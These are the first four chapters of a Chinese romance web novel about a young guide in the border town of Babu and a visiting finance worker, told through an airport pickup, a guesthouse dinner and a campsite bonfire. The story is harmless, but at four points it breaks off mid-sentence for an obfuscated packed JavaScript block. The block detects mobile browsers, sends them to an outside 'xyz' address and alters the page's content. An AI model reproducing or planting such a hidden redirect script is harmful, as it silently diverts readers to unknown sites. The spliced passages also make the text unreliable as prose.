《风止于雪夜》 1. 第 1 章 10月是巴布城的旅游旺季,李现青一早就拿着印了民宿名字的接机牌去一百公里外的机场接客人,和他一起的还有充当司机的表弟贡央。 巴布本来是一座偏远的绿洲小城,但是得利于现代旅游业的发展,这座坐落在几大X省旅游景点中心的小城摇身一变,成为了知名的旅游城市,本地人也从畜牧为生纷纷开始做起了民宿,李现青从民族大学毕业后就回家帮衬着姑姑乌日娜的民宿生意,主要是负责做地陪,以及登山向导。 “这次的客人是从a城来的。哥,你去过吗?”贡央的车技很稳,他是乌日娜的独生子,之前在技术学校学习汽修,毕业后在巴布开了间小小的汽修店,同时还兼顾给家里的民宿生意做客服和包车司机。 李现青摇摇头:“没有,太远了。” a城是沿海都市,距离巴布这个边境小城有将近三千公里,之前还在省城念大学的时候,李现青去过最远的地方距X城也才一千公里。 到了机场,李现青熟练地打开接机牌,上面用彩色的马克笔写着大大的“小城森林民宿欢迎您”。 很快,李现青就看到下机口有几个穿着冲锋衣,拖着大箱子的人冲他挥了挥手手。 李现青下意识点了一下人数,发现只有四个人。 “您好,我是小城森林民宿的地陪,请问是不是少了一个人?一开始说的是五位客人。”李现青拘谨地笑了一下,问那个领头打招呼的红色冲锋衣。 红色冲锋衣咧嘴一笑,大拇指往旁边一指,八颗牙齿白得反光:“在那打电话呢!” 李现青顺着红色冲锋衣手指的方向看过去,在他们几个人后面还跟着一个正在打电话的年轻男人,目测很高,最少也有185,穿一件黑色的冲锋衣,拉链拉到顶,蹙着眉垂眼听电话,时不时回几句,但口气听起来不太好。 大概率是出来玩还接到工作电话。 李现青这样想着,然后招呼大家出机场上车。 贡央早早把车尾箱打开,大七座的商务车空间充裕,贡央一边打招呼一边帮忙把箱子往里面放。 “好,我知道了,有什么事等我回来再说。”聂云驰忍着叹气把电话挂了,只觉得工作电话跟a城的蟑螂一样难杀,从他开完会直奔机场开始到下飞机,都没有停歇。 红色冲锋衣,也就是蔡弎,把手搭在他肩上幸灾乐祸地笑:“不是说半年不吃不睡搞项目换的假期吗,还追着你杀啊?” 聂云驰不说话,只抬头拍了一张毫无亮点的风景照,然后加定位发在朋友圈,点赞的小红点陆陆续续飘出来,但是他都没有仔细看,直接打开了飞行模式。 “你好。”伴随一道略显局促的声音,聂云驰感觉有人站到了自己前面。 来人穿着麂皮绒的小短靴,微微宽松的棕色裤子被妥帖地包裹进去,可能为了给游客充足的体验感,他还穿着巴布本地布西族的民族服饰,单边斜领的深红色长袍一直垂到小腿,露出白色的宽袖内衬和绿松项链,腰间挂着一条点缀了蜜蜡和绿松石的腰带,袍边坠着蓬松的白色毛边。往上看是一张算得上漂亮的脸,打着卷的头发留到了肩膀,呈现出深棕色,肤色是健康的小麦色,眼睛很圆,颧骨处飞着一点淡淡的薄红,像被日头晒出来的红晕。 李现青发现自己需要微微仰头才能看清这个男人脸,男人的皮肤像瓷,透着不常暴露在日光下的白,五官深邃,直鼻薄唇,还发现男人有一双薄薄的单眼皮,垂眼看人的时候眼角微微上挑,像弓弦。 “我来帮你放箱子吧。”李现青伸手去接聂云驰的箱子,想了想又抬头说:“我叫李现青,出现的现,青色的青,是你们这次的地陪。” “你好。”聂云驰点点头,但他没有让李现青接过自己的行李,而是自己单手拎起塞进了车尾箱。 李现青空着手站在旁边,看着聂云驰因为猛得用力手上爆起的青筋发呆。 他的力气好像比自己的要大一些。 蔡弎在旁边发问:“李现青,这是你的汉名吗?你是布西族还是汉族?” “汉名。我父亲是布西族,母亲是汉族。所以我应该两个都可以算。”李现青解释道。 “青青,齐了,可以发车了!”贡央站在驾驶位的门旁喊他。 李现青应了一声,然后让客人们上车就坐。 就在贡央的驾驶位旁边有一个偏小一些的可收纳座椅,那就是李现青的位置了,李现青提醒大家系好安全带,然后站在过道上收大家的身份证提前办理入住。 李现青认了一下,一行五个人,穿红色冲锋衣的是组织者蔡弎,两个穿蓝色冲锋衣的是齐源和赵和远,他们两个和蔡弎一样都很活泼,一直拿着云台相机坐在中间靠窗的位置录像,唯一一个女生是蔡弎的对象,叫姜兆安,两个人坐到了后排的连座。而穿黑色冲锋衣的坐到了前面的靠窗位,一抬手就可以隔着过道递身份证给李现青,身份证上写他叫聂云驰。 输入身份信息的时候李现青发现这几个人年龄相仿,户籍地相同,便好奇多问了一句:“你们是同学吗?” 蔡弎点头:“对!我们是发小!” 姜兆安对李现青有点好奇,一直在打量他的穿搭,闻言发问:“小向导,你几岁啦?民宿是不是就是你家开的呀?是一直就这这边干这个吗?” 李现青点头,有点不好意思地轻笑:“我比你们小几岁,我就是本地人,民宿是我姑姑开的,我大学毕业后就一直回家帮忙。”说吧用下巴指了下开车的贡央:“这是我表弟,我姑姑的儿子。” “你上过大学呀?”话音刚落齐源就觉得自己说错话了,他一开始瞧李现青浑身气质淳朴,又有些腼腆,看起来不太擅长交际,还以为他从来没离开过巴布,又加上民族服饰的加持,总有一种与世隔绝的错觉,乍一听他念过大学有一种错乱感,连忙解释:“不是,我意思是你在哪上的大学呀?怎么会想到做地陪呀?” 齐源找补完感觉自己好像越抹越黑,怀疑是不是提前高反把脑子反掉了。 好在李现青没有在意,还认真回答道:“就在X省民族大学,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389789|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没怎么离开过巴布,大学学的是旅游管理,毕业后找不到工作,很多旅行社都改行做房地产销售了,我就干脆回了家,也算专业对口。” 姜兆安一听,叹气道:“我们文科生找工作怎么就这么难啊!” 李现青眨眨眼,不知道怎么回答好,只能低头从挎包里翻出巧克力发给大家:“大家辛苦啦!还要坐一车程才能到民宿,入住已经办好了,大家到了之后可以休息一下,晚点会有一个欢迎晚餐,我姑姑给大家做了新鲜了牦牛肉和奶茶。今天晚上早点休息,明天要去这次最辛苦的行程格桑山哦!” 发到最后,李现青发现自己多拿了两个巧克力,想了想,他往聂云驰手上多放了一块,小声说:“多给你一块呀。” 聂云驰抬头看他,忽然发现李现青两边耳朵上各戴着一个长耳坠,用银线把几颗绿松石串起来,中间包着一颗看起来有点像珊瑚的红色珠子,随着他说话轻轻摇摆起来。 “还有一块呢?”聂云驰开了一点窗,觉得草原的风吹得整个人神清气爽起来。 李现青捏着那块巧克力的手往身后收了一下:“我的。” 聂云驰笑了一下,觉得李现青身上有股学生气,像个小孩,于是问他:“你毕业多久了?” “两年。”李现青把那块巧克力拆了,咬之前又问聂云驰:“我今年25了,你呢?” 聂云驰把两块巧克力收起来放进口袋,他不爱吃甜食:“比你大五岁。” 那就是三十岁。 怪不得看起来这么成熟。 李现青把巧克力含在嘴里,低着头想。 吃完巧克力,李现青拿出手机说和大家面对面建群,密码是1314,并把群名改成了“小城森林出游小队”。 大家陆陆续续进了群,李现青拿着手机研究了一会,然后回头问聂云驰:“你是哪个呀?” 今天的太阳不大,光线很温柔,从窗外透进来打在脸上有一种柔焦感,李现青趴在椅背上提问,一边的头发被阳光照成金黄色,瞳孔的颜色变得很淡,像琥珀。 聂云驰静静看了他一会,低头把刚刚又打开的飞行模式点掉,在手机上随意操作了几下:“这个。” 李现青低头,发现通讯录出现了一个小红点。 “新的朋友” “Zephyr通过群聊‘小城森林出游小队’申请添加您为好友” 头像是一片阳光照耀下的草坪,隐约能看到背景的建筑像是在国外。 李现青转回身子,动作敏捷地像只猫。 他通过申请,然后在备注栏打下“聂云驰”三个字。 青青:你好,我是李现青~ 青青:[你的小猫突然出现.JPG] 李现青的头像是一张他站在民宿门口的照片,手里抱着一只懒洋洋晒太阳的小土狗,他对着镜头笑得很乖,露出嘴角一个小小的酒窝。 聂云驰没有说话,只拍了一下他的头像权当回复。 “我拍了拍‘青青’的头说万事不用愁。” 2. 第 2 章 李现青靠在椅背上翻起了聂云驰的朋友圈。 比起李现青几乎一天一条更新,充斥着民宿广告和生活零碎的朋友圈,聂云驰的朋友圈称得上无趣。 设置一年可见的朋友圈只有寥寥四条,最新的一条是落地X省之后的定位风景照,再上一条是四个月前转发的公众号文章,李现青点进去看了一下,发现是君恒集团A省地区的年中活动推文,翻到第三张照片的时候看到了一张大合照,衣冠楚楚觥筹交错,金碧辉煌的灯光照得每个人都在发光,认不出来谁是谁。 再往前翻又是一条很久之前君恒证券的公众号推文,这次李现青看到了聂云驰的一张单人照,配文是“获得君恒集团大南部地区年度优秀TL称号”。 最后一条是去年12月10日发的,文案只有简单两个字“三十”,配图一碗佐料丰富的长寿面,背景里还有有一个毛发蓬松得像快面包的三花猫。 不爱发朋友圈的金融射手男。 李现青撇撇嘴,退出朋友圈不再看手机。 不过是太阳偏移十度的时间,车便驶到了“小城森林”的门口。 乌日娜开门来接,很热情地叮嘱大家注意事项,特别强调想洗头洗澡的今天晚上一定要洗过瘾:“明天你们就要去格桑山了,虽然会先在山脚下过夜适应一下,但是为了安全起见明天晚上和后天晚上都不建议洗澡,你们南方人得克服一下呀,不然到时候高反起来很要命的!” 一行人纷纷应过,拖着箱子去找自己房间。 李现青帮姜兆安把行李箱拎上楼,二楼一共三间房间,她和蔡弎住在二楼最里面,齐源和赵和远住在中间那间,靠近楼梯的单人间是聂云驰的,民宿一共只有两层楼,一楼主要是给客人吃饭休息的地方,楼梯下方的小房间是李现青当地陪时候的临时住所,从二楼窗户后面可以看到民宿的内部小院,隔着小院还有一层小平房,那是乌日娜和贡央平时住的地方。 李现青挨个房间询问有没有不满意的地方,得到满意答复后叮嘱一句:“晚上六点一楼开饭。”再离开。 聂云驰没有关门,把箱子放在地上打开,随意翻出一件羽绒服扔到了床上。 “巴布的晚上降温会很快,穿多一点吧。”李现青敲了敲门,说:“我就住在一楼,有什么问题都可以来找我,晚上六点开饭。” 聂云驰回头看是他,起身走过来问:“附近有商店吗?行李收拾得急,漏带围巾了。” 李现青一听,秀气的眉毛就皱了起来:“10月份的巴布会下雪的,没有围巾风会灌进去,更何况你们还要去格桑山。我知道哪里有,但是要走两条街,车开不进去,我帮你去买吧。”说完顿了一下,又补充道:“你自己找不到的。” 聂云驰想了一下,把羽绒服换上了:“那一起去吧。” 他的肩很宽,换衣服的时候背部肌肉完全打开,紧实有力,更像一张线条流畅的弓。 “哦……好哦。”李现青岔开眼神。。 现在是巴布的深秋,但是相较于a市来说已算得上很冷,呼吸时的空气都是冷的,风中有一股蜂蜜混合松叶的味道,是李现青出门前吃了颗蜂蜜杏仁。 扎林大叔的百货店开在距离民宿两条街的位置,需要拐三次弯。 第一次拐弯的时候,李现青揪了下自己袖口的毛边是:“有点冷,你们来的有点晚,再过段时间就差不多要入冬了,这几天格桑山上可能会下雪。” “没办法,只有现在才能把几个人的假凑到一块。”聂云驰感觉风开始从领子灌进去,捏了捏口袋里的烟盒,但是看了眼走在旁边的李现青,还是没有拿出来。 “做你们这行的应该挺忙的吗?” “哪行?” “金融啊,不是吗?” “是,金融民工。” 聂云驰又捏了捏烟盒:“看我朋友圈了?” “你又没屏蔽我。”李现青不看他:“那我屏蔽你朋友圈好了。” 这是生气了。 聂云驰不捏烟盒了:“不是这个意思。” 李现青还是不看他:“那是什么意思?” “觉得好奇。” “自己的朋友圈有什么好好奇的。” “好奇你。” 李现青这下愿意看他了,但也就一眼:“那你看我朋友圈呀,我又没不让你看。” 聂云驰看着他的侧脸,突然说:“开飞行模式了,看不了。” 李现青又不看他了:“那我屏蔽你。” 聂云驰这下真笑了,感觉自己好像在逗家里那只小三花猫,明明知道会惹小猫生气,但是还是忍不住故意把逗猫棒举得一高一低,看小猫气得喵喵叫,炸开来的毛像发酵的小面包,柔软得让人想揉一揉。 有点奇怪。 应该是想猫了。 到百货店的时候扎林大叔正坐在门口,手里拿着一只老烟斗,见到李现青来了,热情地用洪亮的嗓子招呼了一句。 说的是布西语,聂云驰听不懂,只能靠李现青的反映猜测应该是类似于“你好”的招呼词。 “扎林大叔,我的客人想买一条围巾。” 扎林大叔岁数大,没怎么上过学,只能说一点简单的汉语,主要沟通还是得用布西语,李现青把来由说了一下,就带着聂云驰跟着扎林大叔走进店里。 墙上挂着整整两排花色各异的围巾,上面还有一些布西族的民族服饰,旁边立着个牌子,用方正的汉语写着“可出租本地民族服饰”。下方的小桌子更是摆满了各色各样充满特色的小玩意,从银酒壶到烟斗,从镶玛瑙的整套碗具再到项链耳环,甚至还有一块地方摆满了冰箱贴。 扎林大叔打量了一下聂云驰,从墙上拿下一条藏蓝拼米白的粗格围巾,用布西语和李现青说了几句,李现青接过围巾递给聂云驰:“扎林大叔说这个很适合你。” 然后李现青就看到聂云驰脸上出现了一种犹疑的神色:“这条可以,有全新的吗?” “你洁癖啊?”李现青扭头就和扎林大叔翻译了一下。 扎林大叔挠挠头,转到后面的小仓库翻找了一阵,又拿了一条包装完好的同款围巾出来。 这下聂云驰爽快的付钱买下了围巾。 走了这么一趟,等再回到民宿的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389790|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经五点,李现青匆忙换掉了长袍,跑到后院帮忙准备晚餐。 乌日娜担心客人们吃不惯纯布西族的饮食,还准备了一台火锅,刚好巴布的晚上有些冷,吃着也能暖和身子。 “青青,明天下午店里要来客人,去格桑山的行程可能只能你兼一下司机了。”贡央耷拉着脑袋凑过来跟李现青说话。 李现青围着一条浅粉色的围裙,上面印着一棵绿色的松树,低头切豆腐:“没问题啊,你去忙你的,不过明天晚上得先去山脚的营地歇一晚,你和阿珠嫂嫂沟通好了吗?” 贡央笑嘻嘻地帮他端盘子:“放心,早搞定了!” “青崽,豆腐切好了吗?”乌日娜站在院子里招呼他:“好了让贡央端出来,桌子上还有两盘牦牛肉,你一起拿出来,客人们到齐可以开饭了!” “好,来啦来啦!”李现青刚洗完手,一时没找到擦手布,往围裙上随意擦了两下,就端起盘子和贡央一起往外走。 晚餐的地方在一楼,用厚厚的布帘隔绝院子吹进来的风。 吃饭的时候李现青先是给所有人都倒了一杯热奶茶,又忙着烫火锅菜,捞起来给大家分。两轮下来,盘子都空了几个,他还一口都没吃上,脸蛋被热腾的蒸汽熏得发红。 姜兆安和蔡弎正和乌日娜学蹩脚的布西话,闹得笑话频出,齐源带着蓝牙耳机,说的a市方言,不知道在和谁打视频电话,赵和远则在给贡央展示自己的云台相机,一群人各忙各的也算得上是热火朝天。 李现青准备再烫一盘肉,就感觉有人从他手里抽走了公筷。 聂云驰把一杯刚倒的奶茶递到他桌前,一手抽筷子,一手把他往下轻轻一摁,落到了座位上。 刚倒出来的奶茶还是热的,有点烫舌头,李现青双手捧着嘬了几口,抬起头看聂云驰烫菜。 聂云驰低头看了他一眼,然后把刚烫好的肉分了一半到他盘子里。李现青也不说话,只低头开始吃今天晚上的第一口饭。 比起其他人聊得热火朝天,李现青和聂云驰这边算得上安静,两个人都没有说话,只一个烫菜一个吃饭,只时不时听到聂云驰问:“这个你吃吗?” 李现青有的时候说吃,有的时候说不吃。 这决定了这盘菜最后是落到李现青的盘子里还是其他人的。 等烫得差不多,聂云驰把公筷放下,坐回座位。 “太多了,我吃不完。”李现青扒拉了一下盘子里堆叠得跟小山一样高的菜,有点纠结地啃耗牛干。 聂云驰评价他:“猫都比你吃得多。” 李现青想起他朋友圈里出镜的那只猫,声音放柔了点:“你养猫呀?” “是,之前在小区喂过几次的流浪猫是她妈妈,生出来后送给我了。”聂云驰点开相册给李现青看那只很乖很黏人的小三花:“她叫杏仁。” 李现青看着视频里蹭着聂云驰裤腿喵喵叫撒娇的杏仁,笑眯眯地说:“飞行模式可以打开相册诶。” 聂云驰沉默了一下,选择转移话题:“你喜欢猫吗?” 李现青还是笑眯眯,看着他摇摇头:“我更喜欢小狗哦~” 3. 第 3 章 晚上李现青受到了姐姐索日娜发来的消息。 娜娜要发财:“青青青青,这次的客人好带吗?” 索日娜是李现青叔叔的女儿,住在离巴布城四十公里远的红池城,从小就最喜欢乖乖跟在屁股后面陪自己玩过家家的李现青。 李现青想了想,回复她。 青青:有点高冷诶,但是人挺好的。 青青:[小猫思考.JPG] 娜娜要发财:哎呀他们城里人是这样的啦,我们小村妞不能被唬住,要勇敢出击才能赚到他们的钱! 青青:[小猫记笔记.JPG] 青青:你知道吗,居然有人一年只发四条朋友圈呢! 同为发朋友圈大王的索日娜大为震惊。 娜娜要发财:什么? 娜娜要发财:怎么可能! 娜娜要发财:[惊恐][惊恐][惊恐][惊恐] 青青:是真的!我给你看! 李现青再次点进聂云驰的朋友圈,试图截屏做为证据。 结果一点进去,李现青突然发现和自己下午看的时候不一样了。 聂云驰把朋友圈改成了全部可见。 李现青抿嘴,一边想飞行模式也可以改朋友圈设置吗,一边重新看起了聂云驰的朋友圈。 其实就算打开全部可见,聂云驰的朋友圈也不算多,基本上一年就保持几条的更新频率,随便翻了一下就看到了聂云驰的研究生毕业照。定位是一串英文,李现青没听过,复制了去搜索引擎查,发现是一座美国的大学。 “哇……”李现青小小地惊叹一声。 金融美硕射手男。 娜娜要发财:人呢? 娜娜要发财:怎么还不发? 娜娜要发财:就四条朋友圈要截这么久吗? 娜娜要发财:[着急][着急][着急] 青青:其实也没什么好看的 青青:我觉得他有一点装装的 娜娜要发财:谁? 娜娜要发财:怎么装了? 青青:毕竟是金融男诶 娜娜要发财:哇……金融男啊…… 娜娜要发财:他给你推销保险还是基金了? 青青:…… 青青:没有! 青青:他不是那种人! 娜娜要发财:? 娜娜要发财:不是,到底哪个他啊?我们是在聊这次的客人吗? 青青:[沉默.JPG] 青青:是吧。 李现青不说话了,仍由索日娜在另一头进行表情包轰炸。 如果是巴布城到a市是三千公里,那巴布城到美国是多少公里?有三万公里吗? 李现青看着窗边放着的一小盆仙人掌出神。 第二天早上一行人吃过早餐,便准备向格桑山出发。 格桑山是所有来巴布城旅游的必去景点,距离巴布城一百多公里,山脉巍峨壮阔,海拔达到三千多米,多数时候山顶都是飘雪的状态,但是山脚是一片平坦的绿洲,也是著名的帐篷营地集中区,想等着看格桑山日出的游客通常都会先在营地住一晚,第二天再开始登山,阿珠嫂嫂的营地就设在其中。 现在是今年最后适合营地居住的日子,再过段日子山脚就会开始飘雪,所有的营地都将暂时停业修整,等待来年春天融雪再开业。 光是站在山脚的营地,都能直观感受到格桑山的雄伟壮观,几乎是一下车,所有人都开始拍照。 “下午就在营地这边自由活动,左边的小溪是很出片的地方,往右边走远一些有当地牧民的羊圈,但是不建议靠太近,味道有点大,实在喜欢可以跟牧民说,会有洗干净的小羊羔可以合照,自己拍的话10分钟50块钱,用他们的相机打印出来一张10块钱。我也带了相机和无人机,需要的都可以和我说。”李现青跟在他们后面叮嘱。 “晚上还有篝火晚会,很热闹,e人可以早点去到占前排,会有互动活动,i人可以在自己的帐篷里面围观。晚上会很冷,一定要注意保暖!” “哇!”姜兆安显然很满意这个地方,元气满满道:“我要去前排!” 等和他们分开,李现青和阿珠嫂嫂打招呼,确认了一下一行人的帐篷位置。 这次一共定了四顶帐篷,蔡弎和姜兆安依旧是住同一顶,剩下三个人各住一顶,李现青自己是不住帐篷的,他的睡袋放在车尾箱,准备今天晚上到车上过夜。 “青崽。”阿珠嫂嫂喊他,“今天晚上有一顶帐篷空了没人顶,你别睡车上了,到里面去,比你的车要宽敞。” “阿珠嫂嫂,不用麻烦了……”李现青还没说完就被打断了,阿珠嫂嫂亲切地挽着他的手臂:“住吧,小青崽,空着也是空着,你不去住它也是就放在那里,你总太客气会显得生分。” 话说到这里李现青就知道自己不能再拒绝了,只好笑着点点头:“谢谢阿珠嫂嫂。” 阿珠嫂嫂两只手一起拍拍他的脸:“不客气的,小青崽,平时我们家阿雅常常麻烦你。” 作为巴布城为数不多的几个大学生,自从毕业回来后,李现青便被巴布城唯一的一所学校聘请去当普通话老师,不在民宿帮忙的时间里,李现青几乎是常驻学校,阿珠嫂嫂的女儿阿雅也是他的学生。 “晚上的篝火晚会阿雅来吗?”李现青想起这个活泼好动的女学生,忍不住问。 阿珠嫂嫂点头:“来的,现在家里的活忙得差不多了,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389791|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你今天来,嚷了一晚上,让她阿爸送她过来。”巴布会在10月份给学生放半个月的假,用于帮助家里完成过冬前的准备工作。 话音刚落,就见一个小姑娘像炮仗一样冲了过来,一把抱住了李现青的腰:“青青老师!” “阿雅!”李现青很惊讶,“你怎么来了?” “我想你了,青青老师!”阿雅因为剧烈跑动,饱满的苹果肌泛起红晕,“我们去看小狗吧,刚刚索玛给我打电话了,他们家的小狗要生小小狗了,她可以送我一只,我就提前过来了!青青老师你带我过去吧!” 索玛是营地右边那个羊圈主人老索玛的孙女,和阿雅是同学。据她说,是羊圈里负责牧羊的猎犬要生孩子了,她奶奶预估可能会生出四只来。 阿珠嫂嫂牵来了自家的马,交给李现青:“去吧小青崽!足足有四只小狗崽呢,说不定老索玛一高兴,也送你一只!” 李现青摇摇头,没有说什么,只把阿雅抱上马坐好,然后利落地一蹬,翻身上马:“坐稳了,阿雅,我们去看小狗!” 阿雅大笑:“出发吧!青吉坷德!” 布西族的小孩一出生就和马待在一起,几乎每个孩子的梦想就是等长到十岁的时候拥有一只自己的小马,可以独立骑行。李现青十岁那年拥有的小马现在已经是马奶奶了,如果继续好好饲养,应该还能再活好几年。 李现青喜欢骑马,虽然因为母亲是汉人的原因,他的体型在布西族人里不占优势,但胜在灵巧,每年夏天的赛马节也是打马球项目上大家都关心的热门夺冠选手。 骑马的时候身子会微微低下,随马颠簸着破开草原的朔风,只要盯着前方辽阔的大地一直前进,就一定会到达想去的地方,当人和马、和风、和这自然的一切融合到一起,就是最接近自由的时刻。 前面离羊圈很近了,突然有一只羊从羊圈里跑出来,咩咩地叫着准备逃跑。 阿雅迎着风声大喊:“青青老师!牧羊犬生宝宝去了,有羊要逃跑!我们要把他赶回去!” 李现青有节奏地拉住缰绳,把速度降下来,姿态从容地骑着马去阻拦那只预备役逃犯羊的去路。或许是被阿雅的笑声感染,李现青也笑了起来:“回去吧小羊!不要等到老索玛接生完捉你!” 聂云驰站在羊圈旁看到的就是这样的李现青。 他发现李现青其实有两个酒窝,只不过一深一浅,之前每次见他笑都只能看到一个,但是现在可以看到清楚的两个。绿松石的耳坠随着身体的晃动而摇摆,轻轻地拍打在脸颊上,像风的手。 像风,像自由,像那天聂云驰困在摩天大楼里加班到深夜时,看到的巴布城旅游宣传标语。 “广阔的草原会教给人们自由的爱。” 4. 第 4 章 在营地简单吃过晚饭,所有人都开始自发向放着高高火把的中间大空地集合。 时间一到,阿珠嫂嫂的丈夫查杰便举着火把走了出来,大声地招呼大家,草原汉子辽阔的声音让大家都跟着兴奋起来。阿雅 拉着李现青的手站在人群中,开心地和周围的人说:“他是我阿爸!” 火把点燃火把的那一刻,火焰冲天而去,迅速形成一道热浪拂过在场所有人的脸,也彻底点燃了今天晚上的气氛。 阿珠嫂嫂站在人群最前面,和丈夫穿着隆重的布西族服饰,手拉手给大家示范如何围绕着篝火跳布西族舞蹈,营地的音乐被打开,悠扬而充满韵味的歌声如溪水缓缓流淌,伴随着噼啪的燃烧声,宛如母亲的低语。 人们感受着被火焰推起波澜的空气,开始跟着阿珠嫂嫂的动作,自然地拉起身边人的手,围着高高的篝火开始转圈舞蹈,再松手拍掌旋转,又牵手一起踢腿绕圈,人声鼎沸时,没有人能顾得上自己牵到了谁的手,只知道彼此之间的交流全靠大声地呐喊。 “你怎么不过去?”李现青看到了站在后面的聂云驰,好像隐约看到他指间有一点猩红,但是等他穿过人群走进的时候却什么都没有看到。 “因为我是i人。”聂云驰低头看了眼都在李现青身后只露出两只眼睛打量自己的阿雅,“这是你的妹妹吗?” 他记得,下午也是她和李现青坐在同一匹马上。 “不是的,这是阿珠嫂嫂的女儿。”李现青摸摸阿雅的头,“我们营地的小老板。” 阿雅眨巴着眼睛,盯着聂云驰的脸看了好一会,突然就把脸埋进了李现青的怀里,用布西语小声嘟囔:“青青老师,这个汉人好帅哦。” 李现青一听就笑了,逗她:“和你的索楠哥哥比呢?” 索楠哥哥是阿雅和小姐妹们观念一致评比出来的巴布城最帅男生,也是去年赛马节上的跑马射击冠军,一举虏获了全草原下至阿雅上至老索玛所有女性的芳心,成功当选为“金顿珠”。 阿雅害羞了:“不一样,索楠哥哥是草原的鹰,这个人像学校电影里的男主角。” “在说什么?”聂云驰听不懂布西语,只见小姑娘一边碎碎念一边打量自己,猜是在和李现青讨论自己。 李现青笑着抬头和他解释:“阿雅夸你和我们草原的‘金顿珠’一样帅。” 聂云驰不解:“‘金顿珠’?” 李现青:“每年夏天的赛马节,所有的布西族男子都会参加赛马比赛,展示自己的力量与技巧,女人们则会对男人进行评分,得分最高的那个就是‘金顿珠’,是最受女人欢迎的意思。” 这下聂云驰听懂了,他冲阿雅笑笑,把小姑娘刚抬起来的脸又笑得埋回了李现青怀里,他看着李现青:“那你呢?你是‘银顿珠’还是‘铜顿珠’?” “都不是。”李现青摇摇头。 阿雅听到了,连忙抬起头维护自己的老师:“那是因为青青老师去年生病了没有参加赛马节啦,不然就算没有选上‘金顿珠’也会选上‘银顿珠’的啦。奕丹哥哥也是,你们两个可都是热门选手,可惜双双退赛,好可惜呀。” 聂云驰发现李现青听完这段话神情有那么一瞬间的不自然。 但是那一瞬间太快,聂云驰不确定是不是自己看错了。 不远处的人群突然爆发了一阵欢呼声,看着很是热闹。 “青青老师,我们也过去跳舞吧!”阿雅被吸引了注意力。 李现青点头,刚转身却像是想起了什么,回头抓住了聂云驰手腕:“来都来了,一起过去吧!” 聂云驰顺着他的力道往前小跑了几步,混进了人群里面。 阿雅快乐地转起了圈,李现青也跟着音乐开始律动。 大家围绕着篝火,一边走一边高高地举着手拍掌,再顺着弯腰的动作轻轻垂下,如此几圈下来本来站在一起的人也可能会走散,开始牵手拉成圈跳舞的时候,李现青下意识去找聂云驰的身影。 天已经黑了,篝火的焰光随风晃动,照得每个人的脸晦暗不明,不靠近根本认不出谁是谁。 就在李现青准备放弃,随便拉住旁边一个人的手的时候,有一只手从黑暗中兀然出现,牢牢抓住了他停在半空犹疑不定的左手。 “在这。” 是聂云驰。 那只牵住自己的手干燥而温暖,相握的那一瞬间,或许还触发了静电,不然为什么李现青觉得自己的手好像突然麻了一下,毫无知觉。 人们围着篝火转圈,手牵着手,肩膀挨着肩膀,有时还可能会不小心踩到对方的鞋子,被李现青踩了一脚的聂云驰笑出了声,薄薄的单眼皮弯成一轮弦月,淡化了硬挺五官带来的疏离感:“像在和你跳华尔兹。” 李现青哼了一声:“聂先生,这里是草原,没有华尔兹。” 聂云驰还是笑,心情很好的样子:“那这个舞叫什么?” “没有名字,大家都这样跳,不是所有东西都有名字。” “这里的一切都很自由。” 转圈的速度渐渐慢下来,人群有些累了。 聂云驰牵着李现青的手随着人群的速度慢下:“你也是。” 李现青觉得自己好像听懂了,又好像没有。 所以他问了出来:“你喜欢自由吗?” 焰火的光线摇曳而模糊,却能在黑暗中把人的眼睛映照得格外透亮,像含着一汪泉水,又像在照镜子。 聂云驰松开了手,抬头去看篝火:“喜欢。” 李现青把手放回外套的口袋里,低着头看脚下的影子。 周围的人都在聊天,叽叽喳喳得像一群小鸟。 有点吵。 人群散开后,大家纷纷在自己的营地帐篷前点起了小篝火,用来点烟花玩。一时之间,硫磺硝烟的味道开始在营地的风里飘散。 李现青握着阿雅给的两支仙女棒,蹲在背风口研究哪个小篝火前面人少一些,可以有空隙给他见缝插针借一点火。 口袋里的手机突然震动了一下。 李现青低头解锁,看到聊天界面出现了一个小红点。 Zephyr:过来,给你点烟花。 “Zephyr拍了拍我的头说万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389792|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 